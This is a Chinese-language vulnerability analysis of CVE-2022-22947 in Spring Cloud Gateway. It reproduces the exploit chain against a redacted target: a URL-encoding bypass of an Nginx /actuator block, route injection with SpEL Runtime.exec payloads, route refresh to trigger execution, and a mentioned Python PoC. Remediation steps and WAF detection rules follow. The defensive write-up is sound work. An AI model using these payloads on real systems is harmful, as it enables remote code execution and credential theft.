漏洞编号: CVE-2022-22947 CVSS: 10.0(Critical) 类型: Remote Code Execution(SpEL 注入) 影响组件: Spring Cloud Gateway(Actuator 端点) 影响版本: Spring Cloud Gateway < 3.1.1、< 3.0.7 利用前提: Actuator Gateway 端点对外可访问(无需认证)
一、漏洞概述
Spring Cloud Gateway 是 Spring 官方推出的第二代微服务网关,基于 Spring Boot 2.x、Project Reactor 和 Spring WebFlux 构建,旨在提供一种简单高效的统一 API 路由管理方式,并替代第一代网关 Zuul。由于其内置的 Actuator 端点可对路由进行动态增删改查,当该端点未做访问控制直接对外暴露时,攻击者可通过构造包含 SpEL(Spring Expression Language)表达式的 Gateway Filter,在路由刷新时触发表达式解析,进而通过 T(java.lang.Runtime).getRuntime().exec() 实现任意命令执行。
本次分析的目标是一个基于 FEBS Cloud 架构的微服务系统,其入口部署了 Spring Cloud Gateway,并由 Nginx 反向代理转发流量。Nginx 配置了针对 /actuator 关键字的访问拦截,但该拦截可被 URL 编码轻易绕过,导致后端 Gateway 实例直接暴露。本漏洞的利用链由两个独立缺陷叠加构成:
-
Nginx 黑名单绕过: Nginx 对
/actuator字符串做字面匹配,使用/%61ctuator(%61为字符a的 URL 编码)即可让请求透传到后端。 -
SpEL 注入 RCE: Spring Cloud Gateway 在解析 Filter 参数值时使用了
StandardEvaluationContext(允许任意方法调用),而不是受限的SimpleEvaluationContext,从而在路由刷新阶段触发攻击者注入的 SpEL 表达式。
实际危害: 网关作为所有微服务流量的统一入口,被接管后攻击者不仅可以读取 Nacos 配置中心内的全部敏感凭据(数据库密码、Redis 密码、JWT 密钥),还可横向渗透到内部其他微服务节点,并可通过劫持/篡改经过网关的请求和响应植入持久化后门。
二、前置知识
2.1 Spring Cloud Gateway 路由模型
Spring Cloud Gateway 通过路由(Route)、断言(Predicate)、过滤器(Filter) 三要素构建请求转发逻辑:
-
Route:由 ID、目标 URI、Predicate 集合和 Filter 集合组成,是网关的最基本构建块。
-
Predicate:使用 Java 8 断言函数式接口,匹配 HTTP 请求的任意属性(如 Path、Host、Header 等)。
-
Filter:在请求转发前后对请求/响应进行修改。Spring Cloud Gateway 内置了大量 Filter 工厂,例如
AddResponseHeader(添加响应头)、RewritePath(重写路径)等,这些 Filter 的参数值在解析阶段支持 SpEL 表达式。
正是这一特性——Filter 参数值支持 SpEL 解析——构成了 CVE-2022-22947 的利用基础。
2.2 Spring Boot Actuator
Actuator 是 Spring Boot 提供的生产级监控和管理模块,通过一系列 HTTP 端点暴露应用运行时信息:
| 端点 | 作用 | 是否敏感 |
|---|---|---|
/actuator |
端点索引页,列出所有已启用的端点 | 低 |
/actuator/health |
健康检查信息 | 低 |
/actuator/env |
环境变量与配置属性(含密码) | 高 |
/actuator/gateway/routes |
网关路由 CRUD(CVE-2022-22947 利用的核心) | 极高 |
/actuator/gateway/refresh |
刷新路由缓存,触发 SpEL 解析 | 极高 |
生产环境应当通过 management.endpoints.web.exposure.include 精确控制暴露的端点,并配合 Spring Security 强制认证。
2.3 SpEL 表达式与 StandardEvaluationContext
Spring Expression Language(SpEL)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。SpEL 解析时使用的 EvaluationContext 有两种实现:
-
StandardEvaluationContext: 功能完整,支持方法调用、构造器调用、类型引用(
T(java.lang.Runtime)),存在 RCE 风险。 -
SimpleEvaluationContext: 受限版本,仅支持数据读写、集合操作,禁止方法调用和类型引用,适合处理不可信输入。
CVE-2022-22947 的根因是:Spring Cloud Gateway 在 org.springframework.cloud.gateway.support.Configutable 的 getValue 方法中使用了 StandardEvaluationContext 解析 Filter 参数,而该参数值可通过 Actuator API 由外部输入完全控制。
三、复现步骤
环境说明:本文所有目标地址均做脱敏处理,统一记为 http://target:8080。完整 PoC 见第四节。
3.1 识别目标技术栈
访问网关根路径,根据响应内容初步判断组件类型:
1 | GET / |
响应体仅一行明文:
1 | febs cloud gateway |
该响应特征表明目标为 Spring Cloud Gateway 实例(具体为基于 FEBS Cloud 架构的微服务网关),CVE-2022-22947 的应用范围与该组件完全吻合。
3.2 Nginx URL 编码绕过访问 Actuator
先尝试直接访问 Actuator 索引页:
1 | GET /actuator |
响应:
1 | <html> |
由响应头中的 nginx 标识可判断:Nginx 反向代理配置了对 /actuator 关键字的字面匹配拦截。常见错误配置如下:
1 | location ~* /actuator { |
Nginx 的 location ~* 使用未解码的原始 URI 进行正则匹配,只要让编码后的 URI 不匹配 /actuator 字符串即可绕过。将字符 a 替换为其 URL 编码 %61:
1 | GET /%61ctuator |
响应(200 OK,返回完整的 Actuator 端点索引):
关键观察:响应中 href 出现了 %2561ctuator——这是 Nginx 将 %61 透传给后端后,后端再次 URL 编码产生的二次编码现象。这恰好证明 Nginx 未对路径做规范化解码,是黑名单型 WAF 的典型缺陷。
3.3 枚举网关路由配置
通过 Gateway Actuator 端点查询当前所有路由:
1 | GET /%61ctuator/gateway/routes |
响应:
可见 Gateway 已对接多个内部微服务,路由 ID、负载均衡 URI、断言规则、Filter 链全部明文可见。同时 /%61ctuator/gateway/refresh 也可访问——这是 CVE-2022-22947 利用链的两个必需端点。
3.4 注入含 SpEL 的恶意路由
构造一个携带 SpEL 表达式的恶意 Filter,将其作为 AddResponseHeader 的 value 参数。表达式内嵌调用 Runtime.exec("id"),并通过 Scanner 读取命令输出:
1 | POST /%61ctuator/gateway/routes/pwn |
响应:
SpEL 载荷拆解:
-
#{...}:SpEL 表达式定界符,Gateway 解析 Filter 参数时会识别该符号。 -
T(java.lang.Runtime):通过T()操作符引用 Java 类型。 -
.getRuntime().exec(new String[]{\"sh\",\"-c\",\"id\"}):执行id命令。使用数组形式是为了支持管道/重定向等 shell 特性。 -
new java.util.Scanner(...).useDelimiter(\"\\\\A\").next():读取InputStream全部内容到字符串。\\A表示输入开头,配合next()一次性读取整个流。
3.5 刷新路由缓存触发 SpEL 解析
新创建的路由只有在刷新缓存后才会被 Gateway 实际加载,refresh 接口会触发 SpEL 表达式解析:
1 | POST /%61ctuator/gateway/refresh |
响应:
1 | 200 OK |
这一步是漏洞发生的真正触发点——Gateway 在加载新路由时调用 getValue 解析 #{...} 表达式,命令在此刻执行。
3.6 读取命令执行结果
由于 SpEL 表达式执行结果会被写入 Filter 的 value 字段,再次查询路由即可拿到执行结果:
1 | GET /%61ctuator/gateway/routes |
响应:
1 | { |
命令执行结果:网关进程以服务账户(脱敏记为 svc)身份运行,且该账户属于 wheel 组(部分发行版可借此切换到 root)。
3.7 附加验证:读取系统属性
如果只想验证 SpEL 解析能力而无须执行系统命令(降低日志告警噪音),可使用更温和的 Payload:
1 | {"name":"AddResponseHeader","args":{"name":"X-SysName","value":"#{T(System).getProperty('os.name')}"}} |
刷新后查询路由:
1 | {"route_id":"spel_poc","filters":["[AddResponseHeader X-SysName = 'Linux']"]} |
返回 Linux 即证明 SpEL 表达式可被解析,漏洞确认存在。
四、自动化 PoC 脚本
将上述流程封装为 Python 脚本,便于在授权测试中快速验证:
1 | import requests |
使用提示:将 TARGET 替换为目标实际地址,CMD 修改为需要执行的命令。脚本末尾会自动删除注入路由并刷新缓存,但审计日志中仍可能保留路由创建/删除记录。
五、漏洞影响
-
服务账户权限获取:攻击者以网关进程身份执行任意命令,可直接读取同账户可访问的全部文件。
-
配置中心泄露:通过读取
bootstrap.yml或环境变量可获取 Nacos 地址和凭据,进而拉取全部微服务配置——包含数据库密码、Redis 密码、JWT 签名密钥、第三方 API Key 等高敏感信息。 -
横向渗透:网关通常与内部所有微服务网络可达,可作为跳板访问内网 MySQL、Redis、Eureka/Nacos、其他业务节点。
-
流量劫持:网关是统一流量入口,攻击者可注入新的 Filter 实现请求/响应篡改、凭证窃取、隐蔽通道。
-
持久化:结合
cron、systemd、SSH 公钥写入等方式植入后门,重启后仍可维持访问。
六、修复建议
6.1 升级 Spring Cloud Gateway
官方修复版本:
-
3.1.x ≥ 3.1.1 -
3.0.x ≥ 3.0.7 -
旧版本(2.x)用户应升级到 3.0.7+ 或评估迁移方案。
修复方案的核心是将 Filter 参数解析从 StandardEvaluationContext 切换到受限的 SimpleEvaluationContext 或显式禁用 SpEL 解析。
6.2 收紧 Actuator 端点暴露
1 | # application.yml |
6.3 Actuator 强制认证
通过 Spring Security 为 Actuator 端点强制认证:
1 |
|
6.4 修复 Nginx 编码绕过
Nginx 黑名单式拦截本质上是不可靠的,应当改为白名单 + 解码后匹配:
1 | # 错误:基于原始 URI 的关键字匹配,可被 URL 编码绕过 |
关键原则:proxy_pass 之前应确保 $uri 是解码后的路径(Nginx 默认对 $uri 解码一次),并对 /actuator 做绝对拒绝;对于必须暴露的端点(如 /actuator/health),单独放行并要求来源 IP 白名单。
6.5 WAF / IDS 检测规则
建议增加以下检测规则:
-
请求侧:对包含
/%61ctuator、/%2561ctuator、/actuator/gateway/routes等 URL 编码变体的请求告警。 -
请求体侧:对请求体中包含
T(java.lang.Runtime)、getRuntime().exec、java.util.Scanner的请求一律拦截。 -
日志侧:监控 Gateway 路由的异常增删(特别是来自外部 IP 的
POST /actuator/gateway/routes)。
七、关键说明
-
Nginx 编码绕过并非本 CVE 的必需环节。 即使没有 Nginx 拦截,只要
/actuator/gateway/*端点对公网开放,Spring Cloud Gateway 受影响版本均可被直接利用。本案例的特殊性在于企业以为通过 Nginx 拦截已经修复,结果被%61一个字符绕过。 -
SpEL 表达式只在路由刷新时执行一次。 多次查询路由不会重复触发;如需多次执行命令,需要重新
POST /refresh。 -
命令执行结果通过查询路由获取,而非通过 HTTP 响应头。 这是因为
AddResponseHeader是按需触发的 Filter,需要请求匹配到对应的 Predicate 才会写入响应头。直接GET /routes查询时,Filter 的 value 字段已被求值并存储在路由缓存中,是最简单的回显方式。 -
清理痕迹不应依赖
DELETE /routes/{id}。 Spring Boot Actuator 的访问日志(如已配置)以及上游 Nginx/Gateway 的访问日志均会保留POST记录;后端进程的 JVM 日志也可能记录了 SpEL 解析异常。安全团队应将这些日志纳入 SIEM 监控。 -
本漏洞的修复优先级是 Critical 级别。 一旦被利用,攻击者可同时拿到网关主机权限 + 所有微服务的数据库凭据,影响范围远超单点 RCE。